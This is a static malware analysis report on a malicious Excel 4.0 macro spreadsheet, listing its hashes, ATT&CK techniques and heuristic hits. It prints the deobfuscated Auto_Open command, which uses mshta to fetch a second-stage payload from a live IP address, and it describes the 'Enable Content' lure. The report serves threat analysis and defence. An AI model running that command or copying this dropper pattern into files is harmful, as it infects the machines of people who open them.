Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 ede7bf91c5ead371…

MALICIOUS

Office (OLE) / .XLSX

61.9 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel
MD5: f0a3e9dc19d147b46eaebfc05b10519f SHA-1: 3ec5037d9463726407bdafae3f1976825bff4787 SHA-256: ede7bf91c5ead371f631ecdc1a2c1186c37d4abe6a92a03278d4b49e237154d8
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic T1105 Ingress Tool Transfer

The sample is an Excel 4.0 macro-enabled spreadsheet that uses an Auto_Open function to execute a command. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content' to view the content, which is a common lure. The extracted XLM macro contains a string that reconstructs to 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html', indicating the script's intent to download a second-stage payload from the specified URL.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
1b5d2c0fd960b0ccb52c9814b8358c9c313741806cb2c5ef8340a3322e5a67a4		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1391 bytes

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